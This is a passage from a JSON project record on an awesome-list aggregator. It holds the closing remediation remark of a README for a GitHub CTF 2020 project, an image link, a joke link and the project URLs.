Step 4.2: Remediation\r\nOf course it won't catch anything on the patched code-  \r\n\r\n![0 Results](images/remediation.png)\r\n\r\n[Thank you for coming to my Ted Talk](https://imgur.com/PmG1ARR)\r\n","funding_links":[],"categories":[],"sub_categories":[],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsin3point14%2Fgithubctf2020","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsin3point14%2Fgithubctf2020","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsin3point14%2Fgithubctf2020/lists"}